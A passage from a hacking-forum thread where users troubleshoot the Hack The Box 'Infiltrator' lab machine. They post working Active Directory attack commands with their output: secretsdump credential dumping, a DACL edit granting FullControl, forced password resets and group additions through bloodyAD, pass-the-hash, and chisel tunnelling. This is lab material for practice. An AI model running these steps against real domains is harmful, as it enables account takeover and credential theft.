Temporary Advertisements:
Ad
Ad
Ad
Infiltrator HTB
by dogedofedoge - Saturday August 31, 2024 at 07:45 PM
#31
can someone help me for forward the port 14123 pls ? i'm doing chisel server --reverse --port 9999 on my local machine and ./chisel64.exe client 10.10.14.120:9999 R:14123:127.0.0.1:14123 and proxychains -q curl http://127.0.0.1:14123/ on my local machine but i cant reach 127.0.0.1:14123
Reply
#32
why


impacket-secretsdump -k -no-pass [email protected]

Impacket v0.12.0.dev1+20240523.75507.15eff880 - Copyright 2023 Fortra

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#33
(Sep 01, 2024, 01:55 AM)osamy7593 Wrote: why


impacket-secretsdump -k -no-pass  [email protected]

Impacket v0.12.0.dev1+20240523.75507.15eff880 - Copyright 2023 Fortra

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*]Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*]Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*]Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*]Cleaning up...

[*]How did you bypass/resolve the Access Denied error when trying to added rodriguez account to CHIEFS MARKETING group? I was able to successfully change this users password and get a tgt with it, but stuck on the next steps after this to get to harris user.

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'infiltrator.htb\e.rodriguez' -S 'dc01.infiltrator.htb'Password for [INFILTRATOR.HTB\e.rodriguez]:
Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED
Reply
#34
(Aug 31, 2024, 11:25 PM)spamdegratis5 Wrote: Ok, I managed to change the password for m.harris. If you get an error about password age policy, just restart the box. You need to be fast, so you better prepare the commands for adding yourself to the Chiefs Marketing group and then change the password of m.harris. Then you need to do the same steps as d.anderson... get a tgt and connect using evil-winrm with that kerberos ticket.

hey, I got through all the steps and I changed m.harris's password and got a TGT, what command did you use to get a shell via the kerberos ticket?
Reply
#35
What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED
Reply
#36
why pth-net rpc group addmem "Chiefs Marketing" "e.rodriguez" -U "infiltrator.htb/e.rodriguez%ffffffffffffffffffffffffffffffff:b02e97f2fdb5c3d36f77375383449e56" -S "10.10.11.31"

E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Could not add e.rodriguez to Chiefs Marketing: NT_STATUS_ACCESS_DENIED

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#37
(Sep 01, 2024, 02:44 AM)ir0nman4l1f3 Wrote: What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB
Reply
#38
(Sep 01, 2024, 02:52 AM)mxntysec Wrote:
(Sep 01, 2024, 02:44 AM)ir0nman4l1f3 Wrote: What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

[*]This resolve it - thanks for the guidance!
Reply
#39
(Sep 01, 2024, 02:52 AM)mxntysec Wrote:
(Sep 01, 2024, 02:44 AM)ir0nman4l1f3 Wrote: What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

after changing m.harris pass the acc is aslo have restrictions how u connent to evil-winrm

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#40
(Sep 01, 2024, 03:34 AM)osamy7593 Wrote:
(Sep 01, 2024, 02:52 AM)mxntysec Wrote:
(Sep 01, 2024, 02:44 AM)ir0nman4l1f3 Wrote: What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

after changing m.harris pass the acc is aslo have restrictions how u connent to evil-winrm

No idea, trying to solve this step right now with a friend..
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 84 11,159 7 hours ago
Last Post: groningen1981
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,656 8 hours ago
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 125 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,326 Today, 03:26 AM
Last Post: kevin25hxl
  [FREE] CPTS 12 FLAGS pulsebreaker 168 19,536 Today, 12:57 AM
Last Post: blooper1337

Forum Jump:


 Users browsing this forum: 1 Guest(s)